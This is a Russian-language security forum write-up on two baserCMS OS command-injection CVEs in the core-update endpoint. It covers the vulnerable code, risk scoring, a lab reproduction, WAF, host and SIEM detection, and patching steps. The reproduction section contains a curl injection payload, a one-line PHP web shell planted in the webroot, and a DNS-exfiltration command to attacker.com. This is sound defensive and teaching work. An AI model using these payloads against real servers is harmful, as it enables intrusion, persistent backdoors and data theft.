Сергей Попов

Администратор
30.12.2015
6 211
6 957
Специализация
  1. OSINT
  2. Веб-безопасность
Статус верификации
  1. ✓ Verified
Расколотая надвое стеклянная ампула на чёрном антистатическом коврике, из трещины растекается тёмная вязкая жидкость. На уцелевшем осколке выгравирована лазером надпись CVE-2026-21861 · exec() UNS...


При diff'е патча baserCMS 5.2.3 нашлось то, что в 2026 году не ожидаешь увидеть в production-коде: POST-параметр php из формы обновления ядра конкатенируется в строку и уходит напрямую в exec() - без escapeshellarg(), без allowlist, без какой-либо проверки. Просто голый пользовательский ввод в shell-команде. CISA-ADP присвоила CVE-2026-21861 статус exploitation=poc - концептуальный PoC есть в самом security advisory, хотя независимого эксплойта в Exploit-DB на момент публикации нет. Ниже - разбор уязвимого кода, воспроизводимая цепочка эксплуатации baserCMS и конкретные шаги для детектирования на уровне WAF, хоста и SIEM.

Бизнес-логика атаки: зачем RCE через админку CMS​

На каждом разборе подобных CVE звучит вопрос: «Атакующий уже admin - что ему ещё нужно?» Ответ - в CVSS-флаге S:C (Changed Scope). Администратор baserCMS управляет контентом: создаёт страницы, загружает медиафайлы, настраивает плагины. OS command injection выводит за рамки приложения на уровень операционной системы:
  • Credential harvesting - чтение DB-credentials из конфигурации CakePHP (app_local.php, .env), SSH-ключей, токенов API. Доступ к базе минуя CMS-интерфейс
  • Persistence - запись PHP web shell в webroot. Сессия CMS может протухнуть, а shell останется
  • Lateral movement - reverse shell для pivot'а к другим сервисам: база данных, очереди сообщений, внутренние API на том же хосте или в сети
  • Full OS control - всё, что может пользователь www-data: чтение /etc/passwd, запись в /tmp, запуск произвольных бинарников
Для атакующего, получившего admin-аккаунт через credential stuffing, утечку из сторонней базы или фишинг, эта уязвимость функции обновления baserCMS - мост от «могу редактировать сайт» к «выполняю произвольные команды на сервере». В терминах kill chain - переход от initial access к полноценному foothold. По классификации OWASP - категория A03:2021 (Injection), куда CWE-78 входит напрямую.

Анатомия CVE-2026-21861 и CVE-2026-30877​

Уязвимый код: от POST-параметра до exec()​

CVE-2026-21861 затрагивает контроллер PluginsController, метод get_core_update(), endpoint /baser/admin/baser-core/plugins/get_core_update. Согласно advisory GHSA-qxmc-6f24-g86g, поток данных при штатном обновлении ядра такой:
  1. Администратор инициирует обновление в панели управления
  2. Браузер шлёт POST-запрос с параметрами targetVersion, php, force
  3. PluginsController::get_core_update() достаёт php из $request->getData('php') с дефолтным значением 'php'
  4. Значение передаётся в PluginsService::getCoreUpdate($targetVersion, $php, $force)
  5. Сервис собирает shell-команду конкатенацией и вызывает exec()
Реконструкция уязвимого паттерна PluginsService.php (на основе текстового описания в GHSA-qxmc-6f24-g86g, точный код не опубликован):
PHP:
$command = $php . ' ' . ROOT . DS . 'bin' . DS . 'cake.php composer ' .
    $targetVersion . ' --php ' . $php . ' --dir ' . TMP . 'update';
exec($command, $out, $code);
Обратите внимание: параметр $php фигурирует в команде дважды - в начале как путь к PHP-бинарнику и после --php как аргумент. Advisory также рекомендует применить escapeshellarg() к $targetVersion и другим аргументам - они тоже не экранируются, хотя основной вектор атаки именно через php.

Ни escapeshellarg(), ни regex-валидация, ни allowlist не применяются ни к одному из параметров. Спецсимволы ;, |, &&, обратные кавычки и $() проходят без фильтрации.

Классификация слабости: CWE-78 (Improper Neutralization of Special Elements used in an OS Command) - конструирование OS-команды с внешним вводом без нейтрализации спецсимволов. Родительские слабости - CWE-77 (Command Injection) и CWE-74 (Injection). Связанная слабость - CWE-88 (Improper Neutralization of Argument Delimiters), поскольку payload использует ; как разделитель команд в shell.

Критичность по NVD: CVSS 9.1 (CRITICAL), вектор CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H.

Почему CSRF-защита не помогает. baserCMS построена на CakePHP с SecurityComponent (CSRF/FormProtection). Но это не спасает от exec injection PHP уязвимости по простой причине: атакующий имеет легитимную admin-сессию и получает валидный CSRF-токен штатным образом. Запрос формально легитимен - правильный endpoint, правильный HTTP-метод, валидный токен. SecurityComponent подтверждает авторизованную сессию - а она именно такая. Скрытие кнопки обновления в UI бесполезно: endpoint остаётся доступным через прямой HTTP-запрос с curl или Burp Repeater. Это design-level issue на уровне серверного кода, не UI-баг и не проблема CSRF.

CVE-2026-30877: вторая точка входа в том же модуле​

CVE-2026-30877 описывает аналогичную OS command injection в CMS, но формулировка на cve.org чуть иная: «there is an OS command injection vulnerability in the update functionality» - без уточнения «core update». Метрики идентичны первому CVE: CVSS 9.1, CWE-78, исправление в 5.2.3. По данным OSV.dev оба CVE затрагивают пакет baserproject/basercms во всех версиях от 0 до 5.2.3.

ПараметрCVE-2026-21861CVE-2026-30877
CVSS9.1 CRITICAL9.1 CRITICAL
CWECWE-78CWE-78
КомпонентCore update (get_core_update)Update functionality
EPSS (FIRST.org, 2026-07-31)0.0228, 81-й перцентиль0.0152, 72-й перцентиль
PoC-статус (CISA SSVC)poc (concept-код в advisory)none
Automatable (CISA SSVC)НетНет
Technical ImpactTotalTotal
Исправлено5.2.35.2.3

Обе критические уязвимости baserCMS 2026 года исправлены в одном релизе. Два CVE, один diff - скорее всего, два разных injection-вектора, найденных в ходе одного аудита кода обновления.

Разбор CVSS-вектора и оценка риска​

Вектор: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
  • AV:N - атака по сети, физический доступ не нужен
  • AC:L - payload тривиален, специальных условий нет
  • PR:H - нужны привилегии администратора CMS (не ОС)
  • UI:N - взаимодействие жертвы не требуется
  • S:C (Changed Scope) - ключевой флаг: уязвимость в CMS-приложении даёт impact на уровне ОС, выход за границы приложения. Без этого флага score был бы существенно ниже
  • C:H / I:H / A:H - полная компрометация конфиденциальности, целостности и доступности
EPSS 0.0228 для CVE-2026-21861 - вероятность эксплуатации ~2.3% в течение 30 дней (81-й перцентиль по всей базе CVE). При наличии концептуального PoC в advisory и документированного паттерна инъекции - для незапатченных инсталляций это вопрос времени, не вероятности.

CISA SSVC для CVE-2026-21861: решение Track* (следить, готовить патч; exploitation=poc). Для CVE-2026-30877 - Track (exploitation=none), технический PoC документирован только для первой уязвимости. Technical Impact: total. Automatable: no - массовая автоматическая эксплуатация маловероятна (нужен admin-аккаунт), но при целевой атаке impact максимальный. Удалённое выполнение кода baserCMS через эту цепочку не требует сложных preconditions кроме admin-credentials.

Цепочка эксплуатации baserCMS: пошаговый разбор​

📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

→ web shell для persistence → lateral movement в сеть. Собирается за минуты при наличии admin-credentials.

Пошаговое воспроизведение на стенде​

Шаг 1. Получить admin-сессию в baserCMS. На стенде - credentials по умолчанию. На реальном пентесте baserCMS - через утечку, credential stuffing или social engineering.

Шаг 2. Извлечь CSRF-токен: GET-запрос к странице обновления, парсинг _csrfToken и _Token[fields] из HTML-формы. В Burp Suite проще - перехватить легитимный запрос обновления и модифицировать параметр php. Именно перехват и модификация реального запроса из браузера, потому что CakePHP FormProtectionComponent проверяет не только CSRF-токен, но и набор разрешённых полей формы - прямой curl-запрос может быть отклонён, если не воспроизведены все скрытые поля.

Шаг 3. Отправить POST с payload. Концептуальная иллюстрация паттерна инъекции (не дословный PoC из advisory, точная структура shell-команды может отличаться):
Bash:
# ; завершает легитимную команду, id выполняется, # комментирует остаток
curl -X POST 'https://target/baser/admin/baser-core/plugins/get_core_update' \
  -H 'Cookie: PHPSESSID=<session>' \
  -d '_csrfToken=<token>&php=php;id>/tmp/rce_test;%23&targetVersion=5.2.2'
Payload php=php;id>/tmp/rce_test;# работает так: exec() получает команду, начинающуюся с php;id>/tmp/rce_test;#.... Shell интерпретирует ; как разделитель команд, выполняет id с перенаправлением в файл, а # комментирует всё, что идёт дальше.

Шаг 4. Проверить результат. Это blind command injection - результат не возвращается в HTTP-ответе, нужен side-channel. На стенде:
Bash:
docker exec bc-php cat /tmp/rce_test
# uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
Подтверждение: OS-команды выполняются с привилегиями www-data. Дальше - запись web shell для persistence: payload php=php;echo '<?php system($_GET["c"]); ?>' > /var/www/html/s.php;# создаёт минимальный backdoor в webroot.

Что видно в ответе сервера: HTTP 200 с JSON или HTML от CMS. Инъецированная команда выполняется до формирования ответа, но её вывод не отражается в теле. Для извлечения данных через HTTP - запись в webroot и чтение через GET. Для закрытых сетей: DNS-exfiltration (php;nslookup $(whoami).attacker.com;#) или time-based (php;sleep 5;# - замер задержки ответа).

Минилаб для отработки​

Требования к окружению:
  • ОС: Linux / macOS / Windows с Docker
  • RAM: минимум 512 МБ для контейнера (рекомендуется 1 ГБ)
  • Docker + Docker Compose
  • curl или Burp Suite Community Edition
  • Сеть: локальная, outbound не требуется
Сценарий:
  1. Развернуть baserCMS < 5.2.3 в Docker (образ с PHP 8.1+, MySQL/MariaDB)
  2. Пройти wizard установки, создать admin-учётку
  3. Воспроизвести payload из шага 3 выше
  4. Проверить /tmp/rce_test - вывод id означает подтверждение remote code execution CMS
Анализ патча: скачать оба тега (5.2.2 и 5.2.3) из репозитория baserCMS на GitHub, запустить diff -r на plugins/baser-core/src/Service/PluginsService.php. Искать замену пользовательского ввода $php на серверную константу PHP_BINARY и добавление escapeshellarg() к другим аргументам. Рекомендация advisory: $php = escapeshellarg(PHP_BINARY); - пользовательский ввод из формирования shell-команды исключается полностью.

Детектирование OS command injection в baserCMS​

На уровне WAF:
  • ModSecurity CRS: категория правил 930100-930120 покрывает паттерны command injection в POST-параметрах. Для baserCMS - правило на endpoint /baser/admin/baser-core/plugins/get_core_update с инспекцией тела запроса на спецсимволы
  • Nginx: если обновление через web-интерфейс не используется - location ~ /baser/admin/baser-core/plugins/get_core_update { return 403; }
На уровне хоста:
  • auditd: правило на execve от пользователя www-data с аргументами, содержащими ;, |, && - нетипичное поведение для PHP-FPM
  • Мониторинг файловой системы (inotify/auditd): появление новых .php файлов в webroot - индикатор web shell (T1505.003)
  • Проверка crontab -u www-data -l на подозрительные записи - индикатор persistence
На уровне SIEM:
  • Корреляция: POST-запрос к /baser/admin/baser-core/plugins/get_core_update + нетипичный child-процесс от PHP-FPM в окне 5 секунд
  • Baseline: если CMS обновляется планово раз в месяц, любой запрос к endpoint обновления вне согласованного окна - аномалия, требующая расследования
  • Алерт на DNS-запросы от www-data к нестандартным доменам - индикатор DNS-exfiltration после успешной инъекции

Чеклист патчинга и харденинга baserCMS​

  1. Обновить пакет: composer update baserproject/basercms до версии >= 5.2.3
  2. Проверить установленную версию: composer show baserproject/basercms | grep versions - убедиться >= 5.2.3
  3. Если обновление невозможно - заблокировать endpoint /baser/admin/baser-core/plugins/get_core_update на reverse proxy (nginx или Apache)
  4. Проверить php.ini: рассмотреть добавление exec, system, passthru, shell_exec в disable_functions (ломает штатное обновление CMS и потенциально другой функционал - взвесьте)
  5. Провести ревизию access-логов за весь период работы уязвимой версии: искать POST-запросы к endpoint обновления с нестандартными значениями параметра php (содержащие ;, |, &&, обратные кавычки)
  6. При обнаружении следов эксплуатации: проверить webroot на web shell, crontab пользователя www-data, SSH-ключи в /var/www/.ssh/, bash-историю, новых пользователей в /etc/passwd
  7. Настроить WAF-правило на command injection для admin-endpoint'ов baserCMS
  8. Рассмотреть AppArmor/SELinux-профиль для PHP-FPM, ограничивающий execve child-процессов и запись в директории вне webroot
Две критических уязвимости в одном релизе - и обе в функции обновления, которая по определению должна быть самой защищённой частью любой CMS. На практике update-механизмы в PHP-фреймворках регулярно оказываются слабым звеном: разработчики воспринимают их как «внутренний» код, доступный только доверенным пользователям, и не заморачиваются валидацией. Changed Scope (S:C) в CVSS-векторе здесь не формальность - он буквально означает, что баг в веб-приложении даёт контроль над ОС.

EPSS на 81-м перцентиле для CVE-2026-21861 (exploitation=poc, SSVC Track*) и 72-м для CVE-2026-30877 (exploitation=none, SSVC Track). CISA оценивает автоматизируемость как no - массовые сканеры вряд ли подхватят, нужен admin-аккаунт. Но при целевой атаке - credential stuffing плюс этот CVE - цепочка от «подобрал пароль» до «пишу web shell» собирается за считанные минуты. baserCMS активно используется в японском сегменте, где security-аудиты web-приложений проводятся неравномерно, и незапатченных инсталляций хватает. Если интересно посмотреть, как подобный injection-примитив превращается в полноценную цепочку на живом стенде - на HackerLab есть задачи по web-exploitation, где именно этот навык отрабатывается от начала до конца.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab